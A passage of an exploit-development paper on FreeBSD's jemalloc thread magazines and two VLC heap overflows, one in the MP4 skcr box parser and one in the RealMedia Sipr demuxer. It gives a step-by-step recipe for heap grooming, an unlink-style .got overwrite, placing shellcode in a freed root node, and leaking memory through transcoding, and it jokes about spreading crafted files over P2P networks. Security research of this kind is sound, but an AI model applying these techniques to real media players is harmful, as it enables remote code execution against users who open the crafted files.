Note: Remote exploitation using MP4 files can be performed by streaming MP4 data to the VLC server. Unfortunately, MP4 streams are handled by libffmpeg while MP4 files by VLC's custom MP4 demuxer. Don't get us wrong, we don't believe that ffmpeg is bug‑free; it might be vulnerable to the exact same flaw, we just didn't have the time to investigate it further.

2 ‑ VLC cannot be run as root, so, don't expect uid 0 shells. We will only try to stress the fact that some people will go to great lengths to have your ass in their plate. Hacking is all about information, the more information the easier for you to elevate to root.

3 ‑ We assume our target is a x86 machine running FreeBSD‑8.2‑RELEASE, the exact same version we used during our main jemalloc research.

4 ‑ Last but not least, we assume you have read and understood our jemalloc analysis. We don't expect you to be a jemalloc ninja, but studying our work the way you do your morning newspaper will not get you anywhere either ;)

‑‑[ 2 ‑ Notes on jemalloc magazines

‑‑‑‑[ 2.1 ‑ Your heap reversed

In our main jemalloc research we discussed the use of 'magazines' as a thread contention avoidance mechanism. Briefly, when a process spawns multiple threads, a global variable called '__isthreaded' is set to true. This variable, which can be accessed via the 'extern' storage class specifier by any application, instructs jemalloc to initialize thread‑local data structures for caching heap allocations. Those data structures, the so called 'magazines', are allocated and populated in a lazy fashion. In the case of 'malloc()', a threaded application will eventually reach the 'if' clause shown below ('MALLOC_MAG' and 'opt_mag' are enabled by default).

#ifdef MALLOC_MAG

static __thread mag_rack_t *mag_rack;

#endif

...

static inline void *

arena_malloc(arena_t *arena, size_t size, bool zero)

{

...

if(size <= bin_maxclass) {

#ifdef MALLOC_MAG

if(__isthreaded && opt_mag) {

mag_rack_t *rack = mag_rack;

if(rack == NULL) {

rack = mag_rack_create(arena);

if(rack == NULL)

return (NULL);

mag_rack = rack;

}

return(mag_rack_alloc(rack, size, zero));

}

...

#endif

...

}

The first point of interest is the '__thread' classifier in the declaration of 'mag_rack'. This specifier instructs gcc/binutils to make use of the, so called, TLS (Thread Local Storage) mechanism. The '__thread' declarations are grouped and then act as a prototype for the initialization of each thread. Simply put, each thread spawned via 'pthread_create()' will inherit its own private copy of 'mag_rack' initialized to 'NULL' since it's also declared as 'static'. Access to thread local memory is transparent to the user; each time 'mag_rack' is referenced, the runtime automatically figures out where the thread's private memory can be found.

It's now easier to understand how 'arena_malloc()' will act once '__isthreaded' and 'opt_mag' are set to true. First the existing 'magazine rack' pointer is checked; if NULL, 'mag_rack_create()' will be called to (a) initialize the 'mag_rack_t' structure and (b) populate it with preallocated memory regions for the bin that corresponds to the requested size (notice that magazine racks are only used for bin‑sized allocations; larger ones follow another code path).

Assume a random thread in a random application calls 'malloc(4)'. The instruction pointer will soon reach a call to 'mag_rack_alloc(mag_rack, 4, false);'.

static inline void *

mag_rack_alloc(mag_rack_t *rack, size_t size, bool zero)

{

void *ret;

bin_mags_t *bin_mags;

mag_t *mag;

size_t binind;

binind = size2bin[size]; /* (1) */

...

bin_mags = &rack‑>bin_mags[binind]; /* (2) */

mag = bin_mags‑>curmag; /* (3) */

if (mag == NULL) {

/* Create an initial magazine for this size class. */

mag = mag_create(choose_arena(), binind);

bin_mags‑>curmag = mag;

mag_load(mag);

}

ret = mag_alloc(mag);

...

return (ret);

}

The input size is converted to a bin index (1), for a size of 4, 'binind' will be set to 0. Each magazine rack has its own set of bins which are private to the thread (2). Variable 'mag' is set to point to the rack's 'magazine' for this specific bin size (3). A 'magazine' is a simple array of void pointers, called 'rounds[]', that holds addresses of preallocated memory regions of equal size. Function 'mag_load()' is called to initialize it. Here's where things start to get more interesting and may influence the exploitation process in a significant way. Skimming through 'mag_load()' reveals the following:

static void

mag_load(mag_t *mag)

{

...

arena = choose_arena(); /* (1) */

bin = &arena‑>bins[mag‑>binind];

for (i = mag‑>nrounds; i < max_rounds; i++) {

...

round = arena_bin_malloc_easy(arena, bin, run); /* (2) */

...

mag‑>rounds[i] = round;

}

...

mag‑>nrounds = i;

...

}

Depending on the build configuration, 'choose_arena()' (1) may statically assign a thread to the same arena or dynamically to a different one every time it gets called. No matter what the assignment process looks like, we can see that at (2), the 'rounds[]' array is populated by a normal call to 'arena_bin_malloc_easy()' (or 'arena_bin_malloc_hard()'); the function that a process would call had it not been threaded. Since the heap internals work in a purely deterministic way (for now ignore the inherent non‑determinism regarding thread scheduling), we can be quite sure that the regions whose addresses are stored in 'rounds[]' will probably be contiguous. Assuming no holes are found in the heap (which is easy to assume since an experienced exploit developer knows how to fill them), the regions returned by 'arena_bin_malloc_xxx()' will be in increasing memory addresses as shown in the following figure.

Run (PAGE_SIZE) that services 4byte allocations

.‑‑‑‑‑‑‑.‑‑‑‑‑‑‑.‑‑‑‑

0xdeadb000 | reg 1 | reg 2 | ... | reg N |

'‑‑‑‑‑‑‑'‑‑‑‑‑‑‑'‑‑‑‑

^ ^ ^

| .‑' '‑

| |

.‑‑‑‑‑.‑‑‑‑‑.‑‑‑‑‑.‑

| 0 | 1 | ... | M |

'‑‑‑‑‑'‑‑‑‑‑'‑‑‑‑‑'‑

rounds[] array

Once initialization is complete, we return back to 'mag_rack_alloc()' that calls 'mag_alloc()' to pick an entry in the 'rounds[]' array to give to the user.

mag_alloc(mag_t *mag) {

if (mag‑>nrounds == 0)

return (NULL);

mag‑>nrounds‑‑; /* (1) */

return (mag‑>rounds[mag‑>nrounds]); /* (2) */

}

If this is the first allocation taking place in the thread, 'mag_alloc()' will return the last element of the 'rounds[]' array. The 'malloc(4)' calls that may follow will be served by the exact same magazine with regions in decreasing memory addresses! That is, magazines are populated in a 'forward' fashion but consumed in 'backward' one so that if you allocate, for example, 3 regions, their memory order will be 321 instead of 123 :)

‑‑‑‑[ 2.2 ‑ Your reversed heap reversed again

As explained in our main jemalloc article, '__isthreaded' is set to true after a successful call to 'pthread_create()' (in fact, it is enabled by libthr) and remains as such until the end of the program's lifetime, that is, joining the threads will not set '__isthreaded' to 0. Consequently, once the magazine racks have been initialized, jemalloc will keep using them no matter what the number of active threads is.

As explained in the previous section, continuous allocations serviced by magazines, may return memory regions in decreasing memory addresses. We keep using the word 'may' because this is not always the case. Consider the following code snippet which we advise that you read carefully:

#include <stdio.h>

#include <stdlib.h>

#include <pthread.h>

#include <unistd.h>

extern int __isthreaded;

void *allocs[10];

void start_allocs(void) {

int i;

printf("Allocating regions\n");

for(i = 0; i < 10; i++) {

allocs[i] = malloc(192);

printf("%p\n", allocs[i]);

}

return;

}

void free_allocs(void) {

int i;

printf("Freeing the regions\n");

for(i = 0; i < 10; i++)

free(allocs[i]);

return;

}

void free_allocs_rev(void) {

int i;

printf("Freeing the regions in reverse order\n");

for(i = 10 ‑ 1; i >= 0; i‑‑)

free(allocs[i]);

return;

}

void *thread_runner(void *p) {

int rev = *(int *)p;

sleep(1);

if(rev)

free_allocs_rev();

else

free_allocs();

start_allocs();

return NULL;

}

int main(int argc, char *argv[]) {

pthread_t tid;

int rev = 0;

if(argc > 1)

rev = atoi(argv[1]);

start_allocs();

pthread_create(&tid, NULL, thread_runner, (void *)&rev); pthread_join(tid, NULL);

return 0;

}

There are three important functions in the code above; 'start_allocs()' which allocates 10 memory regions that will be serviced by bin‑192, 'free_allocs()' that frees the aforementioned regions in a 'forward' fashion and 'free_allocs_rev()' that will do the same thing but in reverse order. The 'allocs[]' array holds pointers to allocated regions. On startup, 'main()' will call 'start_allocs()' to populate 'allocs[]' and then will fire up a thread that will free those regions. Carefully looking at jemalloc's code, reveals that even on deallocation, a new magazine rack will be allocated and the regions being freed will be eventually inserted in the thread's magazine for that specific size class! You can think of that as the memory regions changing ownership; regions belonging to the main thread, become property of the new thread started by 'pthread_create()'.

Once the new thread calls 'start_allocs()', the exact same regions that were previously freed will be eventually be returned to the caller. The order by which they will be returned, depends on the way they were freed in the first place. Let's run our test program above by passing it the value 0 in 'argv[1]'; this will ask the thread to free the regions in the normal way.

[hk@lsd ~]$ ./test 0

Allocating regions

0x282070c0

0x28207180

0x28207240

0x28207300

0x282073c0

0x28207480

0x28207540

0x28207600

0x282076c0

0x28207780

Freeing the regions

Allocating regions

0x28207780

0x282076c0

0x28207600

0x28207540

0x28207480

0x282073c0

0x28207300

0x28207240

0x28207180

0x282070c0

As you can see, the calls to 'malloc()' performed by the thread, return the regions in reverse order; this is very similar to what the previous section explained. Now let's free the regions allocated by 'main()' by calling 'free_allocs_rev()':

[hk@lsd ~]$ ./test 1

Allocating regions

0x282070c0

0x28207180

0x28207240

0x28207300

0x282073c0

0x28207480

0x28207540

0x28207600

0x282076c0

0x28207780

Freeing the regions in reverse order

Allocating regions

0x282070c0

0x28207180

0x28207240

0x28207300

0x282073c0

0x28207480

0x28207540

0x28207600

0x282076c0

0x28207780

Interestingly, the regions are returned in the same order as they were allocated. You can think of that as the 'rounds[]' array in 'mag_load()' being reversed; the allocations are freed in the reverse order and placed in 'rounds[]' but 'mag_alloc()' gives out regions in reverse order too... Reverse + reverse = obverse ;)

So why this is important? Regions of a commonly used size (e.g 64), are usually allocated by a program before 'pthread_create()' is called. Once a thread is created and '__isthreaded' is set to true, freeing those regions may result in some thread becoming their master. Future allocations from the thread in question, may return regions in the normal way rather than in decreasing memory addresses as shown in the previous section. This a very important observation that an exploit coder must keep in mind while targeting FreeBSD applications or any program utilizing jemalloc.

In the sections to follow, we will be dealing with two vulnerabilities; one in the MP4 demuxer and one in the RMF parser. The first concerns 4‑byte allocations which are not that common. As a result, VLC which is a multithreaded application, will by default return such regions in decreasing locations. On the contrary, the RMF vulnerability is related to 192‑byte regions, which, being larger, are more common. Several 192‑byte allocations may have been created or destroyed before 'pthread_create()' is called and thus we cannot guarantee their re‑allocation order. It is for this purpose that we have to employ more tricks for the latter vulnerability.

‑‑‑‑[ 2.3 ‑ Sum up of jemalloc magazine facts

To sum up:

1 ‑ While in glibc and dlmalloc you were used to seeing new memory regions getting allocated in higher addresses, this is not the case with jemalloc. If magazines are enabled, continuous allocations may return regions in decreasing memory order. It's quite easy for anyone to verify by pure observation.

2 ‑ Don't get 1 for granted. Depending on the order the allocations were performed, even if thread magazines are enabled, memory regions may end up being returned in the normal order. This, for example, can happen when memory regions that were allocated before the first thread is spawned, are eventually freed by one of the threads.

3 ‑ Always remember that jemalloc does not make use of meta‑information embedded within the regions themselves. The fact that there are no inline metadata bordering the end user allocations sounds like good news. It's both a wise design choice and a powerful primitive in the attacker's hands.

4 ‑ For i = 0 ... 10 goto 1

‑‑[ 3 ‑ 'MP4_ReadBox_skcr()' heap overflow vulnerability

‑‑‑‑[ 3.1 ‑ MP4 file format structure

The very first vulnerability we will be analyzing is a heap overflow within VLC's MP4 demuxer [4]. As stated earlier, VLC's builtin MP4 demuxer is only used for local files, as opposed to network streams that go through an alternate code path, ending up being handled by libffmpeg code. Properly parsing a media file is a very cumbersome task involving complex sanity checks. File format parsers and especially those related to media files have been the root cause of many vulnerabilities in the past (remember all that 'RIAA employing Gobbles to pwn media players' [3] bullshit?). We are definitely not experts when it comes to multimedia formats; we will only take a look at how an MP4 file is structured, no details will be given on signal processing and encoding/decoding stuff, since the actual vulnerability is by no means related to the mathematics involved in the MP4 specifications (we imagine that there are juicy bugs there too ;)

Briefly, an MP4 file looks like a tree of nodes serialized in a depth first order with the root node coming first (people that have experience with DWARF will probably notice the similarities). Tree nodes are split in two categories: containers and leaf nodes, also known as 'boxes', with the later holding the media information (both data and metadata) and the first playing the role of logically connecting its children. There are several types of boxes (frma, skcr, dref, url, urn, etc.) as well as several types of containers (ftyp, udta, moov, wave, etc.).

Easter egg: We believe URLs embedded withing MP4 meta‑information, which are normally used to fetch artist names, cover artwork and so on, may also be used for performing web attacks. Let us know if you have experience on this ;) Dear Anonymous, did you know that sharing such media files in P2P networks may be used for more uniformly distributed attacks?

Each tree node, weather a container or a box, is represented by a structure called 'MP4_Box_t' defined in modules/demux/mp4/libmp4.h:970:

typedef struct MP4_Box_s {

off_t i_pos; /* Offset of node in the file */

uint32_t i_type; /* Node type */

...

uint64_t i_size; /* Size of data including headers etc */

MP4_Box_data_t data; /* A union of pointers; depends on 'i_type' */

/* Tree related pointers */

struct MP4_Box_s *p_father;

struct MP4_Box_s *p_first;

struct MP4_Box_s *p_last;

struct MP4_Box_s *p_next;

} MP4_Box_t;

The vulnerability lies in the function responsible for parsing boxes of type 'skcr'.

‑‑‑‑[ 3.2 ‑ Vulnerability details

For each box type, a dispatch table is used to call the appropriate function that handles its contents. For 'skcr' boxes, 'MP4_ReadBox_skcr()' is responsible for doing the dirty work.

/* modules/demux/mp4/libmp4.c:2248 */

static int MP4_ReadBox_skcr(..., MP4_Box_t *p_box) { MP4_READBOX_ENTER(MP4_Box_data_frma_t);

MP4_GET4BYTES(p_box‑>data.p_skcr‑>i_init); MP4_GET4BYTES(p_box‑>data.p_skcr‑>i_encr); MP4_GET4BYTES(p_box‑>data.p_skcr‑>i_decr);

...

}

'MP4_READBOX_ENTER()' is a macro that, among other things, will allocate a structure of the given type and store it in 'p_box‑>data.p_data'. Macro 'MP4_GET4BYTES()' will just read 4 bytes off the input stream and store it in the region pointed by the argument. While messing with the VLC internals, it's good to keep in mind that integers in MP4 files (as well as other media types) are in big endian order.

The vulnerability is kind of obvious; instead of allocating a 'MP4_Box_data_skcr_t' structure, 'MP4_ReadBox_skcr()' allocates an 'MP4_Box_data_frma_t', but later on, the pointer is assumed to point to a struct of the first type (notice how 'MP4_GET4BYTES()' is used; the 'data' union of the 'MP4_Box_t' is assumed to point to the correct structure). 'MP4_Box_data_frma_t', on x86, is 4 bytes long but 'MP4_ReadBox_skcr()' will treat it as having a size of 12 bytes (the real size of 'MP4_Box_data_skcr_t'), resulting in 8 bytes being written off the heap region boundaries.

‑‑‑‑[ 3.3 ‑ Old is gold; 'unlink()' style ftw

The very first thing to note is the size of the victim structure (the one being overflown). 'MP4_Box_data_frma_t' has a size of 4 bytes, so, it is handled by jemalloc's bin for this specific size class (depending on the variant, 4 may or may not be the smallest bin size). As a consequence, the 8 bytes written outside its bounds can only influence neighboring allocations of equal size, namely 4. Exploit developers know that the heap has to be specially prepared before triggering an overflow. For this specific vulnerability, the attacker has to force VLC place 4‑byte allocations of interest next to the victim structure. Looking carefully in libmp4.h, reveals the following two box types which seem to be interesting:

typedef struct {

char *psz_text;

} MP4_Box_data_0xa9xxx_t;

...

typedef struct MP4_Box_data_cmov_s {

struct MP4_Box_s *p_moov;

} MP4_Box_data_cmov_t;

Obviously, both structures are 4 bytes long and thus good target candidates. 'MP4_Box_data_0xa9xxx_t' holds a pointer to a string we control, and 'MP4_Box_data_cmov_t' a pointer to some 'MP4_Box_t' whose type and contents may be partially influenced by the attacker. Let's focus on the 'cmov' box first and why that 'p_moov' pointer is interesting. What can we do if we eventually manage to place a 'cmov' box next to the victim 'frma' structure?

/* modules/demux/mp4/libmp4.c:2882 */

MP4_Box_t *MP4_BoxGetRoot(...) {

...

/* If parsing is successful... */

if(i_result) {

MP4_Box_t *p_moov;

MP4_Box_t *p_cmov;

/* Check if there is a cmov... */

if(((p_moov = MP4_BoxGet(p_root, "moov")) && (p_cmov = MP4_BoxGet(p_root, "moov/cmov"))) || ((p_moov = MP4_BoxGet(p_root, "foov")) && (p_cmov = MP4_BoxGet(p_root, "foov/cmov")))) {

...

p_moov = p_cmov‑>data.p_cmov‑>p_moov; /* (1) */

...

p_moov‑>p_father = p_root; /* (2) */

...

}

}

return p_root;

}

'MP4_BoxGetRoot()' is the entry point of VLC's MP4 file parser. The first 'if' block is entered when parsing has finished and everything has gone smoothly; only fatal errors are taken into account. Certain erroneous conditions are gracefully handled by aborting the parsing process of the current tree node and continuing to the parent. The second 'if' block looks up the 'cmov' box and, if one is found, VLC will store the 'p_cmov‑>p_moov' in a local variable called 'p_moov' (1). If we manage to overwrite the 'cmov' structure, then the value of 'p_moov' may arbitrarily be set by us. Then, at (2), an 'unlink()' style pointer exchange takes place which will allow us to write the 'p_root' pointer on a memory region of our choice.

But wait a minute... We control the address that 'p_root' is written to, not 'p_root' nor the contents of the memory it points to. We need to figure out a way of affecting the data at the location pointed to by 'p_root'. If we get to do that, then writing 'p_root' in a properly selected .got entry may result in code execution.

For now, let's forget about 'p_root' and find a way of overwriting the 'p_moov' field of a 'cmov' box. First we need to perform several 4‑byte allocations to stabilize the heap and make sure that the 8 bytes to be written to the adjacent regions will not end up in neighboring run/chunk metadata. Such a situation may cause a segmentation fault on the next call to 'malloc()'; that's something we would definitely like to avoid. The tool for performing user controlled allocations is called 'MP4_ReadBox_0xa9xxx()', the function responsible for parsing boxes of type 'MP4_Box_data_0xa9xxx_t'. A careful look at its code reveals that we can allocate a string of any size we please; 'AAA\0' is exactly what we need right now ;)

Now recall that in certain cases, when the target application is threaded and has 'opt_mag' enabled, jemalloc will return memory regions in descending memory addresses which is the case with VLC during the MP4 parsing process. Extra threads are created and used to pre‑process the files, download album artwork and so on. What we really need to do is force the heap to be shaped as shown below:

...[SKCR][JUNK][CMOV][AAA\0][AAA\0][AAA\0]...[AAA\0]...

‑

'JUNK' stands for a 1‑byte allocation caused by a call to 'strdup("")' right after 'cmov' is created. The 1‑byte allocation ends up being serviced by bin‑4 since 4 is the minimum allocation granularity for the jemalloc variant used in FreeBSD‑8.2‑RELEASE. The heap layout depicted above is pretty straightforward to achieve; the attacker just creates a container that holds several '0xa9xxx' boxes followed by 'cmov' and then an 'skcr' that will overwrite the 'JUNK' and the 'p_moov' field of the 'cmov' neighbor. The multithreading nature of VLC will result in the boxes being allocated in reverse order, exactly as shown above.

We have successfully managed to overwrite the 'p_moov' pointer that acts as the destination address in the 'unlink()' style pointer exchange. The question of how we can control 'p_root' still remains unanswered.

‑‑‑‑[ 3.4 ‑ Controlling 'p_root' data

Long nights of auditing VLC revealed that there's no easy way for us to control the memory contents pointed by 'p_root'. Although we had began feeling lost, we came up with a very daring idea that, although dangerous at first hearing, we were quite confident that would eventually work fine: Why not somehow 'free()' the 'p_root' region? Releasing 'p_root' memory and performing several 64‑byte (= sizeof(MP4_Box_t)) allocations will force jemalloc give 'p_root' back to us. '0xa9xxx' boxes can be used to perform user controlled allocations, so, theoretically are ideal for what we need. Suppose 'p_root' is freed, then a series of 'a9xxx' boxes that contain 64‑byte opcodes will result in 'p_root' eventually holding our shellcode payload... Right?

Two questions now arise. First, how can one know the address of 'p_root' in order to free it? This is a good question, but it's something we will be dealing with later. Second, each '0xa9xxx' box results in two 64‑byte allocations; one for the 'MP4_Box_t' structure to hold the box itself and one for the string that will contain our shellcode. How can we guarantee that 'p_root' will be given back by jemalloc for the string allocation and thus not for the 'MP4_Box_t'? This is where 'chpl' boxes come in handy:

/* modules/demux/mp4/libmp4.c:2413 */

static int MP4_ReadBox_chpl(..., MP4_Box_t *p_box) { MP4_READBOX_ENTER(MP4_Box_data_chpl_t);

MP4_GET1BYTE( p_chpl‑>i_chapter ); /* Chapter count; user controlled */

for(i = 0; i < p_chpl‑>i_chapter; i++) {

...

MP4_GET1BYTE( i_len ); /* Name length; user controlled */

p_chpl‑>chapter[i].psz_name = malloc(i_len + 1);

...

/* 'psz_name' contents; user controlled */

memcpy( p_chpl‑>chapter[i].psz_name, p_peek, i_copy ); ...

}

...

}

Each 'chpl' box can be used to perform a series of 254 allocations of 64 bytes thus increasing the possibility that 'p_root' will be returned for our data, not for the 'MP4_Box_t' that describes the 'chpl' node (254/255 versus 1/255; without even taking into account the determinism of heap internals).

We have successfully located a gadget that will allow us to control 'p_root' data but only once the latter has been freed. Now recall that 'a9xxx' boxes are 4 bytes long and can thus be placed right next to the victim 'frma' structure. Don't forget that at this specific time frame of the execution, bin sized allocations are always serviced by magazine racks and thus decreasing addresses are eventually returned to the user.

...[SKCR][A9XXX][A9XXX]...

‑

Each call to 'MP4_ReadBox_skcr()' will write 8 bytes off the 'skcr' boundaries, so, both of the following 'a9xxx' regions will be overflown resulting in their 'psz_text' pointer being overwritten with user controlled values. If we could somehow force the 'a9xxx' nodes to be freed, their 'psz_text' would be passed to 'free()' as well, resulting in the release of two heap regions chosen by the attacker. It turns out that doing so is not that hard. All we have to do is place those 'skcr' and 'a9xxx' boxes within a common container, which will cause a parsing error right after the 'skcr' box is parsed. To do that, we abuse a new type of MP4 box called 'stts':

/* modules/demux/mp4/libmp4.c:788 */

static int MP4_ReadBox_stts(..., MP4_Box_t *p_box) {

MP4_READBOX_ENTER(MP4_Box_data_stts_t);

...

MP4_GET4BYTES(p_box‑>data.p_stts‑>i_entry_count);

p_box‑>data.p_stts‑>i_sample_count = calloc(p_box‑>data.p_stts‑>i_entry_count, sizeof(uint32_t)); /* (1) */

...

if(p_box‑>data.p_stts‑>i_sample_count == NULL ...) { MP4_READBOX_EXIT(0);

}

...

}

At (1), 'i_entry_count' is, obviously, user controlled. Forcing it to hold a very high value will result in 'calloc()' returning NULL and thus 'MP4_ReadBox_stts()' returning 0; the value that indicates a parsing failure. Adding the corrupted '0xa9xxx' boxes and the 'skcr' victim in the same container with an invalid 'stts' box, will result in the first being freed when the parsing error is detected and thus the attacker chosen heap regions to be freed*. VLC will continue reading the rest of the MP4 data as if nothing wrong has happened.

Note: It's crucial to understand that we shouldn't trigger a fatal parsing error at this point since the unlink‑like code will never be reached. In fact, the process of doing that is slightly more complicated than described in the previous paragraph; it's a minor detail that should not be taken into account right now.

‑‑‑‑[ 3.5 MP4 exploitation sum up

To sum up, for this first part of the exploitation process the attacker must perform the following steps:

1 ‑ Overwrite 'p_moov'

1a ‑ Allocate several 'a9xxx' boxes that will stabilize the heap

1b ‑ Allocate a 'cmov' box

1c ‑ Allocate and fill an 'skcr' box. The 'skcr' handling code will allocate an 'frma' structure (4 bytes) and write 12 bytes in its region thus eventually overwriting 'cmov‑>p_moov'

2 ‑ Free and control 'p_root' contents

2a ‑ Create a 'cmov' container

2b ‑ Fill it with 2 '0xa9xxx' boxes

2c ‑ Add an 'skcr' that will overwrite the adjacent '0xa9xxx' boxes. The overwritten values should be the address of 'p_root' and a random 64 byte allocation in this specific order.

2d ‑ Add an invalid 'stts' box that will force the parsing process to fail, the 'cmov' and its children (two '0xa9xxx' and one 'skcr') to be freed, the 'psz_text' members of 'MP4_Box_data_0xa9xxx_t' to be passed to 'free()' and consequently, 'p_root' to be released.

2e ‑ Add several 'chpl' boxes. Each one will result in 254 64byte allocations with user controlled contents. Pray that jemalloc will give 'p_root' back to you (most likely).

3 ‑ Repeat step 2 as many times as you please to free as many pointers as you like (more on this later)

4 ‑ Properly pack everything together so that the 'unlink()' code is reached.

One problem still remains; How can one know the address of 'p_root' in order to pass it to 'free()'? This is were an information leak would be useful. We need to find a bug that when properly exploited will reveal data of selected memory regions. Additionally, we need to seek the mechanisms by which this data will be returned to the attacker. The next section of this phile focuses on these two problems and the voodoo required to solve them.

‑‑[ 4 ‑ Real Media 'DemuxAudioSipr()' heap overflow vulnerability

‑‑‑‑[ 4.1 ‑ VLC as a transcoder

Apart from a full blown media player, VLC can also work as a transcoder. Transcoding is the process of receiving numerous inputs, applying certain transformations on the input data and then sending the result to a set of outputs. This is, for example, what happens when you rip a DVD and convert it to an .avi stored on your hard disk. In its most simple use, transcoding may be used to duplicate an input stream to both your soundcard as well as an alternate output, for example, an RTP/HTTP network stream, so that other users can listen to the music you're currently listening; a mechanism invaluable for your favorite pr0n. For more information and some neat examples of using VLC in more advanced scenarios, you can have a look at the VideoLan wiki and especially at [5].

Trying to find a way to leak memory from VLC, we carefully studied several examples from the wiki page at [5] and then started feeding VLC with a bunch of mysterious options; we even discovered a FreeBSD kernel 0day while doing so. After messing with the command line arguments for a couple of minutes we settled down to the following:

vlc ass_traffic.mp4 :sout='#std{access=file,mux=raw,dst=dup.mp4}'

This command, which is just a primitive usage of VLC's transcoding features, will just copy 'ass_traffic.mp4' to 'dup.mp4' thus duplicating the input stream to a standard file. Furthermore, if VLC is running in daemon mode, it is possible for the user to specify a different output MRL (Media Resource Location) per media file. For example, assume that VLC was started using the command line 'VLC ‑‑rc‑host 127.0.0.1:8080'; connecting to port 8080 using netcat and issuing the command...

add /tmp/ass_traffic.mp4 :sout=#std{access=file,mux=raw,dst=/tmp/dup.mp4}

...will, obviously, do the exact same thing. If we could discover an information leak, transcoding would be the perfect way of actually having VLC return leaked data back to us. For example, what if we could force VLC treat arbitrary memory addresses as simple sound information? If we manage to do that, then with the help of the transcoding features we could ask VLC to dump the memory range in question in a standard file in /tmp :)

Note: The truth is that we first focused on exploiting a vulnerability that we could turn into a memory disclosure and then explored the transcoding stuff. We decided to talk about transcoding first so that the reader can keep it in mind while studying the RMF vulnerability in the sections that follow.

In the days that followed we thoroughly analyzed several public vulnerabilities. A specific commit diff in VLC's git caught our attention. It was a vulnerability regarding the Real Media format parser discovered by Hossein Lotfi [6]. Before actually touching the Real Media demuxer, a quick look in the media format itself is essential.

‑‑‑‑[ 4.2 ‑ RMF? What's that?

Source code for the real media demuxer can be found in modules/demux/real.c; the code itself is not very complex and can be easily analyzed in couple of hours. From what we've understood by studying the source, there are two kinds of Real Media files; the Real Audio (.ra) files, as well as the Real Media Format (.rmf) files. In fact, the two formats are quite similar with the one being a newer version of the other. Audio information is split in tracks, usually interleaved, so that a file may have several tracks each one encoded using a different audio codec.

The vulnerability we will be analyzing can be triggered with a specially crafted RMF file that utilizes the Sipr audio codec (see [7] and [8]).

The meta‑information present in RMF files is split in various chunks; simple headers followed by their data. A special chunk, called MDPR (MeDia PRoperties) is used to encode information regarding a track in the RMF file (each track has its own associated MDPR header); its name, its duration, its title as well as the track identifier, a simple 32‑bit integer.

The sound information, the one you hear when playing a file, is split in packets, each one carrying the track ID for the track whose data it contains (as we have already mentioned, track data may be interleaved, so the file parser has to know what packet belongs to what track). The sipr codec goes further by allowing a packet to contain subpackets. When a packet with multiple subpackets is encountered, its contents are buffered until all subpackets have been processed. It's only then when the data in sent to your audio card or to any pending output streams ;)

Sipr subpacket handling is where the mess begins...

‑‑‑‑[ 4.3 ‑ Vulnerability details

Every time a new packet is encountered in the input stream, VLC will check the track it belongs and figure out the audio codec for the track in question. Depending on this information, the appropriate audio demuxer is called. For sipr packets, 'DemuxAudioSipr()' is the function responsible for this task.

/* modules/demux/real.c:788 */

static void DemuxAudioSipr(..., real_track_t *tk, ...) {

...

block_t *p_block = tk‑>p_sipr_packet;

...

/* First occurance of a subpacket for this packet? Create a new block

* to buffer all the subpackets.

*

* Subpackets have a size equal to 'i_frame_size' and 'i_subpacket_h' is * their number.

*/

if(!p_block) {

/* (1) */

p_block = block_New(..., tk‑>i_frame_size * tk‑>i_subpacket_h); ...

tk‑>p_sipr_packet = p_block;

}

/* (2) */

memcpy(p_block‑>p_buffer + tk‑>i_sipr_subpacket_count * tk‑>i_frame_size, p_sys‑>buffer, tk‑>i_frame_size);

...

/* Checks that all subpackets for this packet have been processed, if not

* returns to the demuxer.

*/

if(++tk‑>i_sipr_subpacket_count < tk‑>i_subpacket_h) return;

...

/* All subpackets arrived; send data to all consumers. */

es_out_Send(p_demux‑>out, tk‑>p_es, p_block);

}

For now assume that 'block_New()', called at (1), is a simple call to 'malloc()'. Obviously, setting 'i_subpacket_h' to 0 will result in a call very similar to 'malloc(0)'. As we have mentioned in our main jemalloc paper, a call to 'malloc(0)' returns a region of the smallest size class. If 'i_frame_size' is bigger than the minimal space reserved by 'malloc(0)', then the call to 'memcpy()' at (2) will result in neighboring heap allocations being corrupted (that simple ;p).

‑‑‑‑[ 4.4 ‑ 'p_blocks' all over the place

Since we have successfully identified the vulnerability, it is time to search for possible target structures. Before continuing, we must have a look at that 'block_t' structure used to buffer the subpackets; its definition can be found at include/vlc_block.h:101.

typedef void (*block_free_t) (block_t *);

struct block_t {

block_t *p_next;

uint32_t i_flags;

mtime_t i_pts;

mtime_t i_dts;

mtime_t i_length;

unsigned i_nb_samples;

int i_rate;

size_t i_buffer;

uint8_t *p_buffer;

block_free_t pf_release;

};

I know what you're probably thinking; stop staring at that function pointer ;) Yes we can very easily overflow it and consequently gain direct code execution. Nevertheless, we decided not to take the easy road; after all, we are only interested in forcing VLC leak memory contents back to us. Assume function pointers have not been discovered yet ;p The structure still looks quite promising; notice how 'i_buffer', the size of the audio data pointed by the 'p_buffer' pointer, lies before 'p_buffer' itself... But what exactly is that 'p_buffer' anyway? When and how is it allocated?

Here's another interesting story regarding audio blocks. Having a look at src/misc/block.c, line 99, in function 'block_Alloc()' reveals that block headers always lie before the data pointed by 'p_buffer'. When, for example, the user requests a block of 16 bytes, 'block_Alloc()' will add 16 to the metadata overhead, say N bytes, thus eventually allocating 16 + N bytes. The 'p_data' pointer will then set to point to the start of the actual buffer, right after the 'block_t' header as depicted below.

p_buffer

.‑‑‑‑‑.

| |

| v

.‑‑‑‑‑‑‑‑‑.‑‑‑‑‑‑‑‑‑‑‑‑‑

| block_t | ... audio data ... |

'‑‑‑‑‑‑‑‑‑'‑‑‑‑‑‑‑‑‑‑‑‑‑

The relevant code is shown below:

struct block_sys_t {

block_t self;

size_t i_allocated_buffer;

uint8_t p_allocated_buffer[];

};

...

#define BLOCK_ALIGN 16

...

#define BLOCK_PADDING 32

...

block_t *block_Alloc(size_t i_size) {

...

block_sys_t *p_sys;

uint8_t *buf;

#define ALIGN(x) (((x) + BLOCK_ALIGN ‑ 1) & ~(BLOCK_ALIGN ‑ 1))

/* (1) */

const size_t i_alloc = sizeof(*p_sys) + BLOCK_ALIGN +

(2 * BLOCK_PADDING) + ALIGN(i_size);

p_sys = malloc(i_alloc);

...

/* 'buf' is assigned to 'block_t‑>p_buffer' by 'block_Init()' */

buf = (void *)ALIGN((uintptr_t)p_sys‑>p_allocated_buffer); buf += BLOCK_PADDING;

block_Init(&p_sys‑>self, buf, i_size);

...

return &p_sys‑>self;

}

